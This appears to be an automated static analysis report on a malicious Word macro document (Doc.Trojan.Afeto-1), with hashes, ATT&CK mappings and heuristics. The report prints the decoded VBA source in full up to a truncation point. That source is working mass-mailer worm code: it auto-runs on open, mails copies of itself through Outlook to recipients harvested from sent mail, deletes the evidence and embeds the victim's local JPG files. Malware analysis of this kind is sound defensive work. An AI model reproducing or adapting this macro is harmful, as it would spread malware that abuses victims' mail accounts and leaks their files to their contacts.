Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c32efd1cf23c9161…

MALICIOUS

Office (OLE)

48.5 KB Created: 2000-11-29 03:40:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 13680ba7e2586d17be8a832864071567 SHA-1: 7d1a59fd091dc1747ce81ad5ed4335c48a70bd7a SHA-256: c32efd1cf23c9161dec9292d0aa1c4c5916e67b82668a430ea7b8cea4327928f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening the document, specifically within the Document_Open subroutine. These macros utilize `CreateObject` to interact with Outlook, attempting to send emails using existing sent mail items. The macro's intent appears to be to leverage the user's Outlook instance to propagate itself or related content, likely as part of a phishing or spam campaign.

Heuristics 5

  • ClamAV: Doc.Trojan.Afeto-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Afeto-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4255 bytes
SHA-256: cf937fc67dd2fbce79e66a1fb598dcfb9432ae798a355b2e56250dac8b4f6bfa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
  Dim A1 As Object, A2 As Object, A3 As Object, A8 As Object
  Dim A4 As Object, A5 As Object, A6 As Object, A7 As Object
  Dim B1 As Object, B2 As Object
  F1 = Chr(79) + "ptions.VirusProtection"
 ' F2 = chr(79) + "ptions.SaveNormalPrompt"
 ' F3 = chr(79) + "ptions.ConfirmConversions"
  F1 = False
 ' F2 = False
 ' F3 = False
 ' Application.ScreenUpdating = False
  On Error GoTo Fora
  Set A1 = CreateObject("Outlook.Application")
 ' Set A2 = A1.CreateItem(olMailItem)
  Set A4 = A1.GetNamespace("MAPI")
  Set A5 = A4.GetDefaultFolder(olFolderSentMail)
  Set A6 = A5.Items
  Acha_Gif
  
  Call Escolhe(teupath)
  Zf = A6.Item(1).To
  W1 = teupath & Right(Left(Zf, 6), 5) & ".doc"
 ' T4 = Right(Left(Z, 6), 5) & ".doc"
 For n = 2 To 9
  W2 = A6.Item(n).Subject
  W3 = A6.Item(n).Body
  Z = A6.Item(n - 1).To
   If n = 2 Then
    ActiveDocument.SaveAs FileName:=W1, FileFormat:=wdFormatDocument, _
        LockComments:=False, Password:="", AddToRecentFiles:=True, WritePassword _
        :="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:=False, _
        SaveNativePictureFormat:=False, SaveFormsData:=False, SaveAsAOCELetter:= _
        False
   End If
    Z1 = Len(Z)
    Y = ""
    For I = 1 To Z1 + 1
      Z2 = Right(Left(Z, I), 1)

      If Z2 = ";" Or Len(M) > Z1 - 1 Then
       If Y <> "" Then
        'A2.Recipients.Add (Y)
        Set A2 = A1.CreateItem(olMailItem)
         With A2
           .Subject = W2
           .Body = W3
           .Recipients.Add (Y)
            
         End With
       
         Set A3 = A2.Attachments
         A3.Add W1
         A2.Send
         Set A7 = A4.GetDefaultFolder(olFolderSentMail)
         Set A8 = A7.Items
         A8.Item(1).Delete
         Set A2 = Nothing
     
      '  Exit For
        Y = ""
       End If
        
      End If
      If I > Z1 Then
       
         Foda = 1
       
      Else
       If Z2 <> "'" Then
         If Z2 <> ";" Then
          Y = Y + Z2
          M = Y
         End If
       End If
      End If
    Next
  Next
  If Foda = 1 Then
        
         Set B1 = A4.GetDefaultFolder(olFolderDeletedItems)
         Set B2 = B1.Items
         Con = B2.Count
         For j = 1 To Con - 1
           B2.Item(j).Delete
         Next
  End If
Fora:
  Set A1 = Nothing
End Sub

Function Escolhe(XC)
  Dim W()
  ReDim W(7)
  
  W(1) = "I"
  W(2) = "H"
  W(3) = "G"
  W(4) = "F"
  W(5) = "E"
  W(6) = "D"
  W(7) = "C"
  K = 1
  On Error GoTo Inicio
    ChDrive W(K)
    XC = W(K) & ":\"
    Exit Function
  
Inicio:
     K = K + 1
     Resume
  
End Function

Sub Acha_Gif()
 
  Set Rs = Application.ActiveDocument
On Error GoTo Semanda
If FileLen(Rs.Name) < 200000 Then
  Set Fs = Application.FileSearch
  Meupath = "C:\"
  TesteX = 0
  Teunome = Dir(Meupath, vbDirectory)
  Do While Teunome <> ""
  TesteX = 0
  If Teunome <> "." And Teunome <> ".." Then
    If (GetAttr(Meupath & Teunome) And vbDirectory) = vbDirectory Then
    ' MsgBox "Teu Diretorio " & Meupath & teunome
     FQ = Meupath & Teunome
     Fs.LookIn = FQ
     Fs.FileName = "*.jpg"
     
     If Fs.Execute(SortBy:=msoSortByFileName, _
            SortOrder:=msoSortOrderAscending) > 0 Then
        Fi = Fs.FoundFiles.Count
        For I = 1 To Fs.FoundFiles.Count
          Fw = Fs.FoundFiles(I)
          Fe = FileLen(Fs.FoundFiles(I))
          If Fe < 50000 Then
          If Right(Fw, 4) = ".jpg" Then
              Selection.InlineShapes.AddPicture FileName:=Fw, _
           LinkToFile:=False, SaveWithDocument:=True
             TesteX = 1
             Exit For
          End If
          End If
        Next
     End If
    End If
  End If
  Teunome = Dir()
  If Test
... (truncated)